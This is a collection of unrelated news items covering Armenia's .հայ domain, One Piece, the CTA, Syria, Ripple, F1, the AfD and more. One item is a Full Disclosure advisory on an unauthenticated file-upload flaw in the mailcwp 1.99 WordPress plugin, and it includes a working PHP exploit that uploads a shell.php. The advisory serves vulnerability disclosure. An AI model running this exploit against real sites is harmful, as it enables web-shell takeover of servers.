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YEREVAN (ArmRadio)—The Armenian Ministry of Transport and Communication has launched the .հայ domain, which will work along the English language .am domain name. Նախագահ.հայ will be the first official website to be registered in the Armenian script.
The current .am domain was assigned to the Republic of Armenia in 1994, and the Internet Society NGO got the right to register it the same year. The same NGO retains the right to manage the .հայ domain.
“The registration process started back in 2012,” Vice-President of the Internet Society NGO, Grigory Saghyan, told reporters. He added that “writing in the Armenian script is compulsory for the system to recognize the website you are trying to access.”
To access websites registered on the .հայ domain from abroad, an Armenian keyboard must be installed; Windows provides that.
The Ministry of Transport and Communication has invited all state bodies to register their websites on the .հայ domain. The cost is the same as .am—9-10 thousand AMD for registration and 1,000 AMD monthly service fee.
One hundred fifty applications have already been submitted for registration, 70 of which are government agencies. |
The official Japanese website for One Piece has finally revealed the cover for One Piece Volume 80, entitled “Opening Speech.”
The One Piece Volume 80 cover features former Fleet Admiral Sengoku, Admiral Fujitora (also known as “Issho”), new Warlord of the Sea Buggy the Clown, and Vice Admiral Tsuru. In the foreground, Luffy is laughing and running with Rebecca on his back. Also featured are two characters introduced in this volume, and a subtle hint at a big event.
One Piece volume 80 will hit stores on Dec. 28. With a total of 216 pages, it is likely that One Piece Volume 80 will contain 11 chapters — from chapter 796, “Soldier’s Conviction”, through One Piece chapter 806, “At Rightflank Fortress.”
With Jump Festa 2016 (Dec. 19–20) including a One Piece Super Stage Event featuring One Piece‘s Straw Hat voice actors, combined with the still unknown “big announcement” to be given at the end of the upcoming One Piece: Adventure of Nebulandia TV Special on Dec. 19, it is possible that One Piece Volume 80 — like its predecessor One Piece Volume 79 — will also contain a hidden teaser of the upcoming One Piece movie, One Piece Film: Gold, to be released in theaters in Japan on July 23, 2016.
The One Piece chapters contained in this volume are all available in English from Weekly Shonen Jump! We’ll be doing a full review of One Piece Volume 80 with translator Stephen Paul on The One Piece Podcast in the weeks following the release in Japan. Included in that review will be our thoughts on the cover, a look at every SBS question, the Usopp Pirates Gallery, the continuing adventures of Pandaman, and a lot more. Look forward to that podcast after the volume’s release!
You can purchase One Piece Volume 80 in Japan on December 28th, 2015 or in your local Japanese import store! |
Full Disclosure mailing list archives
Remote file upload vulnerability in mailcwp v1.99 wordpress plugin
Title: Remote file upload vulnerability in mailcwp v1.99 wordpress plugin Author: Larry W. Cashdollar, @_larry0 Date: 2015-07-09 Download Site: https://wordpress.org/plugins/mailcwp/ Vendor: CadreWorks Pty Ltd Vendor Notified: 2015-07-09 fixed in v1.110 Vendor Contact: Contact Page via WP site Description: MailCWP, Mail Client for WordPress. A full-featured mail client plugin providing webmail access through your WordPress blog or website. Vulnerability: The code in mailcwp-upload.php doesn't check that a user is authenticated or what type of file is being uploaded any user can upload a shell to the target wordpress server: 2 $message_id = $_REQUEST["message_id"]; 3 $upload_dir = $_REQUEST["upload_dir"]; . . 8 $fileName = $_FILES["file"]["name"]; 9 move_uploaded_file($_FILES["file"]["tmp_name"], "$upload_dir/$message_id-$fileName"); Exploitation requires the attacker to guess a writeable location in the http server root. CVEID: OSVDB: Exploit Code: • <?php • /*Larry W. Cashdollar @_larry0 • Exploit for mailcwp v1.99 shell will be called 1-shell.php. • 7/9/2015 • */ • $target_url = 'http://www.example.com/wp-content/plugins/mailcwp/mailcwp-upload.php?message_id=1&upload_dir=/usr/share/wordpress/wp-content/uploads'; • $file_name_with_full_path = '/var/www/shell.php'; • • echo "POST to $target_url $file_name_with_full_path"; • $post = array('file' => 'shell.php','file'=>'@'.$file_name_with_full_path); • • $ch = curl_init(); • curl_setopt($ch, CURLOPT_URL,$target_url); • curl_setopt($ch, CURLOPT_POST,1); • curl_setopt($ch, CURLOPT_POSTFIELDS, $post); • curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); • $result=curl_exec ($ch); • curl_close ($ch); • echo "<hr>"; • echo $result; • echo "<hr>"; • ?> • Advisory: http://www.vapid.dhs.org/advisory.php?v=138 _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
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ONE ENTRANCE: CTA's proposed 'compact station' concept for the Blue Line reduces passenger entrance points to one. This image replaces an image incorrectly attributed to CTA. (Courtesy CTA)
By Jean Lotus
Editor
The CTA issued a statement Thursday saying that the transit agency is not considering "compact station" options for any Oak Park or Forest Park train stations in its Blue Line upgrade plan. The clarification came after Wednesday Journal and the Forest Park Review published an article Wednesday pointing out CTA documents which showed a "compact station" option was being considered for stops at Harlem, Oak Park and Austin.
"Based on Blue Line Vision Study findings and public feedback, the CTA is not presently considering compact stations for any of the Oak Park and Forest Park stations," said a statement from CTA Media Representative Lambrini Lukidis.
"The agency is still very early in this process and is reviewing and collecting public feedback regarding other design options with regards to the remainder of stations along the I-290 corridor," the statement continued.
"The CTA continues to welcome all comments and continues its collaboration with the Illinois Department of Transportation."
Documents on the CTA's http://www.transitchicago.com/assets/1/planning/CTA_Blue_Line_Boards_FINAL_100813.pdf website showed the three Oak Park and Forest Park stations as candidates for the "compact station" design, which would have meant mean eliminating "minor" entrances at Lombard, East and Circle Avenues.
All 12 stations along the Blue Line are slated for complete replacement in the CTA's Blue Line Vision Study.
Thursday morning, State Senator Don Harmon sent an email saying he had contacted CTA planners and had been assured that Oak Park and Forest Park's stations would not be considered for "compact" CTA station designs.
"CTA clarified for me that, in fact, its own planners are against the idea of closing the second station entrances at those locations," Harmon said. "The CTA planners recognize that such steps reduce transit access."
Wednesday Journal wrote the article after former IDOT Citizens Advisory Committee Chair Fred Branstrater pointed out the CTA's own documents showed local train stations being considered for the "compact" design, which would have reduced entrances from two points to one.
These diagrams were displayed at an April 22 joint presentation by IDOT and the CTA at Proviso Math and Science Academy in Forest Park.
Harmon said he has been following the CTA Blue Line plans very closely.
"Transit greatly benefits our community, helping us avoid traffic on the roadways, providing environmental benefits, and providing affordable transportation options for all households," he wrote.
Contact:
Email: [email protected] Twitter: @FP_Review |
The family of a brave teen who tackled a suicide bomber who was trying to enter his school is imploring the Pakistani government for protection as terrorists have warned them they are targets.
The kin of Pakistani teenager Aitzaz Hassan called the 15-year-old "pehlwan" -- or wrestler -- because of his heavy-set frame. On Jan. 6, 2014, Aitzaz, who had talked about becoming a soldier one day, used his might to keep a suicide bomber from blowing up his classmates.
Aitzaz was standing outside his government school in the northwestern district of Hangu when the terrorist, claimed by Lashkar-e-Jhangvi, a group with ties to al-Qaeda and the Pakistani Taliban (TTP), tried to enter the gates and reach the morning assembly.
The teen quickly tackled the bomber, preventing him from entering the school and reaching some 1,000 students inside. Aitzaz died later at a hospital from injuries suffered in the bomb blast.
Aitzaz's father, Mujahid Ali Bangash, was working in the United Arab Emirates at the time. He told Agence France-Presse he was "happy that my son has become a martyr by sacrificing his life for a noble cause."
"Aitzaz has made us proud by valiantly intercepting the bomber and saving the lives of hundreds of his fellow students," he said.
The teen was posthumously awarded the country's Sitara-e-Shujaat, or Star of Bravery. The family has been lobbying to make Jan. 6 Aitzaz Day in Pakistan, so all will remember his ultimate sacrifice to stop terrorism.
This April, the family received a threat from Tehreek-e-Taliban Pakistan: "Aitzaz Hasan is not a hero nor a martyr," the letter said. "If Aitzaz's brother Mujtaba does not stop meeting media and officials of government institutions, he will be responsible for any loss.”
The TTP shot Malala Yousafzai, a teen advocate for girls' education, in the head in an Oct. 9, 2012, assassination attempt. She survived and went on to become the youngest Nobel Peace Prize recipient in history.
Aitzaz's brother Mujtaba went to local authorities shortly after receiving the threat to ask for government protection for the Hasan family. According to Pakistan's The Nation, authorities are still mulling over the request.
“Despite my plea to the relevant security institutions informing them of the threat, I have not yet received a reply from any of them,” Mujtaba said. “Right now my family only has one guard for protection, provided by the district administration. It is a request to the authorities to give us the required security. My family is going through trauma and need their support.”
Mujtaba said the provincial government "has not been in contact with my family" about security and is not keeping promises to honor the teen who stopped what would have been a disastrous attack.
"They are yet to keep their word of building two colleges and a sports stadium in Aitzaz's name," he noted. "The federal government has not contacted us at all." |
After being greatly missed on Game of Thrones last season, Bran Stark will make a welcome return in Season 6 — and fans got a first look at his new grown-up haircut on Monday.
Bran, played by English actor Isaac Hempstead Wright, is now a teenager as the handicapped prince learns to control his fledgling psychic powers while traveling north of the Wall.
In the new photo published by EW, Stark’s shaggy hair has been neatly cut since we last saw him meeting with the mystical Three-Eyed Raven (Max von Sydow) in the Season 4 finale.
Also Read: ‘Game of Thrones’ Is Once Again Most Pirated TV Show of the Year
“It’s going to get particularly interesting with Bran. He has some interesting visions,” 16-year-old Hempstead-Wright told the Irish Examiner earlier this year.
The return of the young Stark son could be a game-charger for loyal followers of the family, and mark a revenge plot line against the Lannisters considering that it was Jaime Lannister (Nikolaj Coster-Waldau) who crippled Bran by pushing him off a tower.
Game of Thrones Season 6 premieres on HBO in April 2016. |
The Government has been accused of misleading the public over the introduction of a new in vitro fertilisation (IVF) technique that some experts believe will result in the birth of “genetically modified babies”.
Leading scientists, including Lord Winston, an early pioneer of fertility treatment, have criticised the Department of Health for trying to play down a process that will for the first time allow the alteration of the DNA of future generations.
They argue that the Government has redefined the term “genetic modification” (GM) to exclude specifically a controversial technique that will result in babies inheriting genetic material from three individuals.
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The move, buried within a Department of Health document published last week, is designed to take the sting out of hostility towards mitochondrial donation – a process that aims to avoid the certain inherited diseases being passed on by using healthy mitochondria (microscopic structures in the cell) taken from a donor egg or embryo. Opponents believe that using the healthy donor mitochondria will result in “three-parent embryos” and could usher in an era of “designer babies” and “genetically modified children”.
The Government admits it has decided to adopt “a working definition [of ‘GM’] for the purpose of taking forward these regulations” but scientists believe that the redefinition of GM is dishonest. They also warn it could undermine public trust in medical experts arguing for its introduction in the UK, the only country where it will be permitted in law if legislation is passed.
Lord Winston told The Independent: “The Government seems to have come to the right decision but used bizarre justification. Of course mitochondrial transfer is genetic modification and this modification is handed down the generations. It is totally wrong to compare it with a blood transfusion or a transplant and an honest statement might be more sensible and encourage public trust.”
Ted Morrow, an evolutionary biologist at the University of Sussex, was equally scathing about the new definition of GM, which specifically excludes alterations to human mitochondrial genes or any other genetic material that exists outside the chromosomes in the nucleus of the cell.
“My impression is the Government is doing all it can to contain and define these kinds of terms in ways that favour mitochondrial replacement being introduced as an uncontroversial therapy,” Dr Morrow said.
“They push the idea that mitochondrial DNA does nothing more than regenerate more mitochondria, which are nothing more than cellular batteries, and that mitochondrial genes don’t encode traits relevant to personal identity and so on,” he added.
David King, from the pressure group Human Genetics Alert, said the Government is “playing PR games based on very dubious science” because any changes to the mitochondrial genes will amount to genetic modification. “Their restriction of the term to nuclear inheritable changes is clearly political. They don’t want people like me saying that they are legalising GM babies,” Dr King said.
Mitochondria are the tiny “power-packs” of the cells that generate metabolic energy from glucose. They are under the control of 37 mitochondrial genes which exist as a separate DNA molecule outside the nucleus of the cell.
About one in every 6,500 babies born each year is affected by inherited defects in the genes of the mitochondria. Serious mitochondrial diseases are painfully debilitating and cause long-term ill health, low quality of life and premature death. The Government is under pressure to allow mitochondrial donation as part of IVF treatment to give affected women the opportunity of having biological children who will be free of the condition.
The technique involves taking the healthy mitochondria of a donor egg or embryo and using them to replace the defective mitochondria. The resulting embryo will have genetic material from the two women in addition to the nuclear DNA from a man. Although mitochondrial DNA accounts for less than 0.2 per cent of the genome, the technique is controversial because it will alter the genetic make-up of future generations.
The Health Department accepts the germ-line of future generations will be altered, but it insists, in its official response to the public consultation published last week, that this does not amount to genetic modification. “There is no universally agreed definition of ‘genetic modification’ in humans – people who have organ transplants, blood donations or even gene therapy are not generally regarded as being ‘genetically modified’,” the response says.
“The Government has decided to adopt a working definition for the purpose of taking forward these regulations.”
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USAA, the largest provider of insurance and other financial products to U.S. military members, has consolidated its marketing business with a cluster of Publicis Groupe agencies after a formal review that lasted several months. Starting in the second quarter of 2017, all USAA work currently handled by other agencies will be transitioned to the Publicis umbrella group.
The news comes less than a year after a scandal involving a racist email sent by an executive at USAA's former agency of record, Campbell Ewald, made international headlines and inspired a new round of conversations about diversity in the advertising industry.
Earlier this year, Publicis Groupe announced it would transition to a more collaborative model, and several of its shops will work on the USAA business. Saatchi & Saatchi will lead creative with Razorfish on digital, Prodigious on content marketing, MSLGroup handling public relations, and Mediavest | Spark running media buying and planning for the client.
USAA's announcement also includes a pledge that 30 percent of all staffers working on the business come from "diverse communities," making it the latest in a series of companies including General Mills, HP and Verizon to make specific diversity demands of its agency partners.
"Publicis Groupe is the right fit with USAA's culture, sharing our passion for serving America's military community and belief in the value of diverse perspectives," said senior vice president for marketing and communications Roger Adams in a statement. "Their integrated service offering and approach to diversity perfectly complement our team at USAA. We will be better equipped to deliver integrated and impactful communications to our employees, members, prospective members and community partners."
Publicis Groupe chairman and CEO Maurice Lévy said that for USAA, his company "delivered a customized strategy and program that demonstrated the positive impact of this new organization under one client leader who can leverage all our capabilities and competencies." The group handling the account will spread across three separate holding company "hubs" including Publicis Communications, Publicis.Sapient and Publicis Media. USAA also has retained WME | IMG to promote sponsorship-related events like the annual Army-Navy football game.
USAA spent approximately $146 million on paid media in the U.S. in 2015, per Kantar Media.
The past year has brought unexpected controversy to the USAA organization. In January, the group abruptly terminated its eight year contract with former AOR Campbell Ewald after Adweek's AgencySpy blog brought to light a racist email scandal. The site published an internal all-staff message from a white creative director promoting a "Ghetto Day"-themed agency party late last year. Later the same week, USAA ended its relationship with Campbell Ewald, and parent company IPG fired agency CEO Jim Palmer.
USAA subsequently sent its marketing business to fellow IPG shop MullenLowe, which will no longer work on the account as of the second quarter of 2017.
Publicis Groupe's "The Power of One" approach has recently factored in several winning pitches, most prominently Walmart. The retail giant consolidated its marketing business with Publicis this summer, ending a nine-year relationship with The Martin Agency. |
Syria called on the United Nations Security Council (UNSC) to take action against Israel on Thursday after a reported Israeli air strike on a military facility near the Syrian-Lebanese border on Wednesday.
“The Government of the Syrian Arab Republic calls upon the UNSC to condemn the blatant Israeli aggressions [sic]," a statement carried on the state-run SANA news agency said, adding that Syria "calls on the international organization to adopt firm and immediate measures to stop those attacks and hold Israel accountable for its support to terrorism which would inflame the situation in the region and the world."
Israel's air force bombed a weapons depot in Homs province on Wednesday night local time, Lebanese media and a monitoring group said, the latest in a string of strikes in recent weeks.
Lebanese news outlet al-Mayadeen reported that Syria fired a surface-to-air missile at Israeli aircraft after the strike, which reportedly occurred in the suburbs of the city of Homs.
Local residents reported of Israeli jets circling in the area and an explosion, according to a report on the Lebanese site Anshara. Syrian television reported "an aggression" by Israel in the region, adding that the national army had "responded".
The Israeli army refused to comment on the report.
In Thursday's statement SANA described the facility as a "copper factory for civil industries in Hassyah industrial zone in Homs province."
The statement repeated claims frequently made by the regime of Bashar Al Assad that Israel secretly controls Islamist terror groups such as Islamic State (IS) and Al Nusra, who have been fighting the regime in an almost six-years-long civil war.
Israel has acknowledged carrying out airstrikes in Syria since the outbreak of the bloody conflict, in order to stop arms deliveries to Shiite militia Hezbollah, an ally of Assad's ruling clan.
The Syria observatory said Israel had also struck an arms depot near the Damascus airport on September 22, and this month targeted a jihadist faction linked to the Islamic State group in southern Syria, killing at least 10.
Damascus made a similar plea to the Security Council in mid-October, saying they were "surprised" by UNSC inaction.
Israel said last month it had attacked Syrian government artillery after fire from across the armistice line hit the Israeli-occupied Golan Heights
AFP contributed to this report. |
The European Parliament on Wednesday (22 October) punched a €3.8 million hole in the EU commission 2015 budget as leverage until the Brussels-executive improves its transparency record.
The money will be released once MEPs in the budget committee are satisfied the commission has stepped up efforts to increase transparency on so-called expert groups, which offer commission officials advice on drafting new policies.
MEPs want more balanced expert groups (Photo: h.koppdelaney)
Critics say the groups are imbalanced because they sway too heavily towards industry-types without adequate input from others like civil society.
“Suspending these funds sends a strong signal to the commission that this cannot continue,” said German Green MEP Helga Trupel, who tabled the budget amendment.
The freeze reduces available funds to reimburse travel and expenses like food bills.
The commission, for its part, says the imbalance often occurs because not enough people from civil society with the required expertise apply to sit on the groups in the first place.
“It is not correct to say that the commission is not serious about making its expert groups more transparent and balanced,” said EU commission spokesperson Anthony Gravilli.
He pointed out that the membership of many groups has been reviewed and noted “transparency has been significantly enhanced” over the years via a special register for expert groups.
But while the overall lack of applications from civil society is a recognised problem, pro-transparency groups warn that some of those sitting in the groups are really corporate lobbyists cloaked in a "personal capacity" label.
A "personal capacity" label means the representative is supposed to be acting in the public interest and be independent.
The label - if incorrectly applied - could give the impression that a group is balanced when in fact it is not.
In a letter addressed to the EU ombudsman Emily O’Reilly in late August, Corporate Europe Observatory (CEO), an NGO monitoring transparency and ethics, highlighted several such examples.
It is a loophole and a demand the European Parliament on Wednesday wants closed.
Trupel’s amendment, which was widely endorsed by the political groups, requires the commission to ban lobbyists and corporate executives sitting in expert groups in a "personal capacity."
Other demands require the groups to be more balanced and ensure the selection process is open to public scrutiny.
Membership information, agendas, minutes, and participants’ submissions also need to be published online “unless if there is a clear and published reason for not providing this information.”
The EU ombudsman Emily O'Reilly over the summer launched her own inquiry into the matter with recommendations expected sometime next year. Euro-deputies want her findings to be integrated into the commission’s rulebook on the groups.
It is not the first time the parliament has used its budget powers to force the commission’s hand.
A similar effort by the MEPs was made in 2011 for the 2012 budget.
MEPs at the time had put €2 million into reserve, which they then lifted a few months later.
The commission said the reserve was lifted because it had fulfilled the conditions imposed by the parliament.
Not everyone agrees, with a new study out this month that says corporate interest continues to dominate the groups.
“Two years on and we're back in the same position because all other routes of reform have led to a dead end,” said Max Bank from pro-transparency group, LobbyControl.
Meanwhile, Wednesday’s vote on the 2015 budget has put the European Parliament in direct opposition to the Council – representing member states.
The assembly voted to increase the budget and reversed the cuts made by the Council.
The two sides are now set to discuss details in the hopes of getting the budget approved by the end of November. |
Another group of global banks helps Ripple span the world. Image: Shutterstock
In 2015, when Ripple came out of the lab, we did more than rebrand as a company. We sharpened our focus and set our sights on our long-term goal: to interoperate the world’s banks and make cross-border payments truly efficient.
Since then, we’ve announced our progress toward that goal where banks moved beyond blockchain experimentation and into commercial production. Today, following our Series B funding announcement, we have more good news.
Ripple is proud to announce the addition of several more financial institutions to our growing network. Standard Chartered, National Australia Bank (NAB), Mizuho Financial Group (MHFG), BMO Financial Group, Siam Commercial Bank and Shanghai Huarui Bank are now among the global banks that have adopted Ripple’s settlement technology to improve their cross-border payments and offer their customers improved service.
Ripple adds new banks to growing global network. Tweet This
“2016 has proven to be the year where the most forward-thinking financial institutions are actually using blockchain technologies for payments and settlement rather than as an experiment,” said Ripple CEO and co-founder Chris Larsen. “The continued growth of the Ripple network represents a major endorsement of our open approach to connecting the world’s banks and their customers, and together we are building a modern payments system to enable new economic opportunities and the seamless flow of value around the world.”
Banks that join our growing network can take advantage of Ripple’s distributed financial technology, which can drastically reduce the time and cost of settlement and enable new types of high volume, low value global transactions for their customers. While the use cases vary from retail remittances to corporate disbursements, each of these financial institutions have successfully used Ripple to transfer real money payments, and all are working to implement the technology in commercial production.
Notably among them, Standard Chartered offers their corporate customers access to new types of interbank payment services across and even beyond its global network. Similarly, Shanghai Huarui Bank is using Ripple to launch a new commercial peer-to-peer remittance service to its growing retail customer base, so they can send money internationally in real-time and at a much lower cost.
Today’s news follows SBI Ripple Asia’s announcement from last month on the creation of a Japanese consortium of 15 banks that will use Ripple’s technology for payments and settlement. Our joint venture, SBI Ripple Asia, projects that the 15 inaugural members will increase the size of the consortium to 30 banks and that the new service will go live in spring of 2017.
Our customers are optimistic and enthusiastic about this seismic shift in payment and settlement technology.
“With over $155 trillion of cross-border payments being made between businesses annually, it is crucial that we continue to innovate to make international payments easier and faster not just for our clients but also for the future of the payments industry. As a leading international bank committed to facilitating trade, commerce and investments, this partnership will go a long way in progressing our digitization agenda to develop innovative solutions for our clients.”
—Gautam Jain, Global Head, Digitization and Client Access, Transaction Banking, Standard Chartered
We’re building on our already extensive network of customers, some of which we announced earlier this year. This list includes Santander, UniCredit, UBS, Royal Bank of Canada (RBC), ReiseBank, CIBC, National Bank of Abu Dhabi (NBAD), ATB Financial, Fidor Bank, and Westpac Banking Corporation, among others.
As the only provider of enterprise-grade distributed financial technology solutions, Ripple’s global network now includes 15 of the top 50 global banks, 10 banks in commercial deal phases, and over 30 banks that have completed pilots. This list includes other institutions currently using Ripple’s solutions, yet to be announced.
Our network is growing by leaps and bounds, but we’ve only just begun. Stay tuned for even more news from Sibos 2016. |
Just over a month after it was announced that there will be a United States Grand Prix in Austin, Texas in 2012, Formula One boss Bernie Ecclestone has revealed that a second race may take place in the country and his circuit designer Hermann Tilke is currently there investigating it. "Tilke is in New Jersey now looking into it," he said over lunch last week.
In March, Ecclestone first revealed that a race in New Jersey was being investigated. "It would be in front of Manhattan in New Jersey, with the skyscrapers in the background," Ecclestone said adding: "Fifteen minutes from the centre of New York to the circuit would be marvellous." A 3.6-mile track was scheduled to be built in the grounds of New Jersey's 600-acre park but it was vetoed for environmental reasons by the public and the Jersey City mayor.
Tilke is now believed to be looking for a location in New Jersey which would not face this opposition but would still enjoy the same view of the New York skyline in the background. It could be a reserve option if the Grand Prix in Austin falls through.
A new purpose-built circuit will be constructed for F1 in Austin and although Ecclestone says that "the land is bought," he adds: "My concern is that I don't know how quick they can build ... that's what I am worried about. I don't worry about anything else."
Ecclestone says he requested that Austin host F1 in 2012 to get the race on the calendar as soon as possible. He explains that "the government is supporting it," and is believed to have committed $25 million to cover the annual race-hosting fee.
Funding may be needed even if the Grand Prix doesn't take place as Ecclestone recently said that if Austin fails to host the race "we've got some penalty clauses, although I wouldn't want to use them".
He remains confident that this will not happen and says that the government "won't lose their money". However, he does sound one note of caution: "It's hard to promote anything in America. It will either get a following or it won't."
© ESPN Sports Media Ltd. |
Martin Sichert, Alexander Tassis und Mirko Welsch am letzten Dienstag in Nürnberg (Bild: Youtube-Screenshots Kanal AfD Nürnberg)
21. Mai 2016, 10:51h,
Bei einem entlarvenden Auftritt der "Homosexuellen in der AfD" in Nürnberg wurde gegen "schrille" Schwule gepoltert. Mirko Welsch bezeichnete Volker Beck als "Krebsgeschwür der Schwulenbewegung".
Von Norbert Blech
Bei Vorträgen ausgerechnet zum Internationalen Tag gegen Homo- und Transphobie haben die führenden Vertreter der "Homosexuellen in der AfD" am Dienstag in Nürnberg gezeigt, wie egal ihnen die Belange und Rechte von Schwulen und erst Recht von Lesben oder gar Transsexuellen sind. Die Veranstaltung am 17. Mai unter dem Titel "Schwule und Lesben gegen den Genderwahn" war vorab mit einem Banner in Regenbogenfarben auf dem rechten Hetzportal "Politically Incorrect" beworben worden und wurde im kleinen Saal der Meistersingerhalle von der AfD Nürnberg durchgeführt.
Deren Kreisvorsitzender Martin Sichert, den der frühere Parteichef Bernd Lucke noch wegen revisionistischer Aussagen aus der Partei werfen wollte, behauptete zur Einführung, dass sich viele Homosexuelle an seine Partei wenden würden, da sie sich von Organisationen wie dem örtlichen LGBT-Zentrum Fliederlich nicht vertreten fühlten, "sondern gar in ein schlechtes Licht gerückt sehen: Sie wollen schlicht, ganz normal, Teil der Gesellschaft sein. Sie wollen nicht ihre Sexualität zum Markte tragen, vor allem nicht in einer schrillen Form." Ein Homosexueller habe ihm berichtet, wie "verstörend" diese Schwulen für ihn seien: Sie sorgten für "Unverständnis" in der Bevölkerung, weil diese Zurschaustellung vielen Menschen "zu schrill und zu belästigend" sei.
Während also Schwule möglichst unauffällig sein sollen, beklagte Sichert "Denk- und Sprechverbote" u.a. durch ein Gender Mainstreaming und durch (vermeintlich) linke Organisationen, die in Wirklichkeit einer Diskriminierung Homosexueller Vorschub leisteten, indem sie gegenüber dem Islam und im Rahmen der Zuwanderungswelle "eine falsch verstandene Toleranz" zeigten. Errungenschaften von Jahrzehnten stünden auf der Kippe, so Sichert. "Und die Haute-Volée diskutiert weiter um Ampelweibchen, Unisex-Toiletten, die richtige Ansprache von Leuten, die sich nicht entscheiden können, welches Geschlecht sie haben."
Gegen die "spätrömische Dekadenz" des Gender Mainstreamings
Mirko Welsch, einer der beiden Bundesvorsitzenden der "Homosexuellen in der AfD", berichtete in seinem Vortrag, er habe in der Innenstadt einen Fliederlich-Stand gesehen und sich "fremdgeschämt" über die "Berufsschwestern", die sich "selbst vermarkten" und damit angeblich Geld verdienten, weil "sie selber sonst nichts auf die Reihe kriegen". Das reiht sich ein in eine lange Reihe von plumpen Angriffen Welschs gegen LGBT-Organisationen. Nach den jüngsten Landtagswahlen ließ er etwa auf einem Motiv den LSVD und die Zeitschrift "Männer" und queer.de wegkehren. Im Mai forderte er, dem LSVD und Aids-Hilfen die staatlichen Fördermittel zu streichen, da diese als "linksgrüne Parasiten" konservative LGBT ausgrenzten.
Die Rhetorik ist bis ins Absurde hart in Nürnberg bezeichnete Welsch etwa Volker Beck als "Krebsgeschwür der Schwulenbewegung in Deutschland". Sie überbietet sogar noch die LGBT-feindlichen Töne der offiziellen Parteivertreter. Die AfD-Homos bieten sich hier nicht nur als Feigenblatt an Vorwürfe, die AfD sei homophob, konterte Welsch in seinem Vortrag lediglich mit Verweisen auf Homophobie bei Marx, Engels oder Fidel Castro. Sondern sie treiben die homophobe Politik auf die Spitze.
So setzte sich Welsch auf dem Bundesparteitag vor wenigen Wochen, bei dem es mehrere LGBT-feindliche Positionen in das neue Grundsatzprogramm schafften, für einen schärfer formulierten Antrag gegen die "Propagierung der Homo- und Transsexualität" im Unterricht und für die Streichung aller Antidiskriminierungsgesetze ein (queer.de berichtete). "Gender Mainstreaming" sei "Dreck" und "sozialer Wohlstandsmüll", meinte er dazu über das Saalmikrofon.
Auch in Nürnberg beklagte Welsch eine "Frühsexualisierung" durch Bildungspläne, die nur Pädophilen nützten. Welsch log sich da die Realität noch mehr zurecht als die "Demo für alle" oder Birgit Kelle: Was habe es mit der Erziehung zu Toleranz zu tun, fragte er, wenn Kinder in Kindergärten lernten, "sich gegenseitig den Finger in den Popo (zu) stecken?"
Als "Homosexuelle in der AfD" sei man zudem die einzige Homo-Organisation, die "Ja zur traditionellen Familie als Keimzelle der Gesellschaft" sage. Jede "gesunde Gesellschaft" lebe davon, dass ein Kind bei Vater und Mutter aufwachse. "Und wenn ich mir dann anschaue, wie im Rahmen von Gender Mainstreaming Vater und Mutter abgeschafft werden sollen, zu Elter 1 und Elter 2, oder wenn ich sehe, dass man auf Facebook inzwischen aus 70 verschiedenen Geschlechtsvariationen auswählen kann: ( ) Das ist doch nicht mehr normal. Auf was lassen wir die zukünftigen Generationen los? Wie wollen wir eine zukünftsfähige Gesellschaft sein, wenn wir beginnen, eine solch spätrömische Dekadenz zu entwickeln?"
Mit einem Einsatz für mehr LGBT-Rechte fiel Welsch in Nürnberg nicht auf. Im Gegenteil kritisierte er eine "Marktschreier-Mentalität" bei schwul-lesbischen Organisationen: Ständig werde Neues gefordert, "ohne zu fragen, ob wir Homosexuelle das wollen". Die Bevölkerung sollte stattdessen die Gelegenheit bekommen, sich an einen "Status Quo" zu gewöhnen.
Ein Kampf auf der Seite von Kuby & Co.
Während Welsch in der Meistersingerhalle den pöbelnden Haudegen der "Homosexuellen in der AfD" gab, versuchte sich der andere Bundesvorsitzende, der Bremer Bürgerschaftsabgeordnete Alexander Tassis, an einem intellektuellen Überbau. So lehnte er "Gender Mainstreaming", wie auch Multikulturalismus, ab "Konstruktivismus" ab.
Freilich sind es die Gegner von LGBT-Rechten, die da überhaupt erst etwas konstruiert haben: Unter die Schlagworte "Gender Mainstreaming" und "Gender-Ideologie" vermischen sie erst die unterschiedlichsten Bereiche und Akteure von Frauen-Emanzipation, LGBT-Rechten, Wissenschaft und Philosophie zu einem großen Ganzen. Dieses umfassende und sich ständig weiter entwickelnde Narrativ geht zurück auf das Buch "Die globale sexuelle Revolution" der fundamentalistischen Theologin Gabriele Kuby, das von "Demo für alle", "Besorgten Eltern" oder Birgit Kelle ebenso als Anleitung zum Kampf genutzt wird wie von christlichen und kirchlichen Kreisen und rechtsextremen bis konservativen Parteien.
Tassis, der das wissen müsste, kämpfte in Nürnberg selbst auf populistischer Front gegen angeblich "widerwärtigen, perversen Dreck" und "verschmutzte Quellen" in Lehrplänen und gegen den "Gender-Krimskrams": Alle Gender-Professuren seien aufzulösen, forderte er etwa. Das sei möglich, schließlich habe man nach 1945 auch alle Rassen-Lehrstühle aufgelöst. "Ich möchte das Gender Mainstreaming mit solchen Wahnideen des Nationalsozialismus explizit vergleichen. Es ist keine Wissenschaft, es ist Humbug, es ist Konstruktivismus und dient völlig anderen Zwecken."
Die AfD sei eine Partei, "die alle, auch Schwule und Lesben, vor Sexualisierung durch Pornographie und Prostitution schützt", so Tassis. Homophobie sei in Deutschland kaum noch ein Problem, wichtiger seien "mutige Mütter und Väter, die sich wieder öffentlich zu ihrer Ehe und zu ihrer Familie bekennen". Die traditionelle Familie stelle aus "natürlicher Sicht eine einzigartige und hervorgehobene Harmonie" dar, die priviligert werden müsse.
Die AfD sei aus Gegnersicht keine Gefahr, weil sie homophob sei "das sind vorgeschobene Dinge" sondern weil sie "die erste nationalkonservative Partei ist, die wieder glaubwürdig einen Patriotismus für alle Menschen" biete, "egal ob sie homosexuell oder transsexuell oder eben gewissermaßen normal veranlagt sind", sagte Tassis. Die Nation und der Volksgedanke seien eine ewige Konstante der Menschheit wie die Familie aus Vater, Mutter und Kindern.
Der Männerbund als Gegenmodell zur aktuellen LGBT-Bewegung
In Abgrenzung zur aktuellen LGBT-Politik ("Es ist eine Schande, was die Linken aus unserer Homosexuellenbewegung gemacht haben") entwickelte Tassis in seiner Rede eine Gesellschaftsutopie basierend auf dem "Wertekanon" im Deutschland des 16. bis 19. Jahrhundert. Die erste Homosexuellenbewegung sei eine "deutsche Leistung" gewesen, im Rahmen der "deutschen Denkleistungen" wie der Reformation. Er empfahl Basilius von Ramdohrs (1757-1822) Roman "Venus Urania" über das Liebesleben der Menschen für den Unterricht, als Teil "der deutschen Kultur".
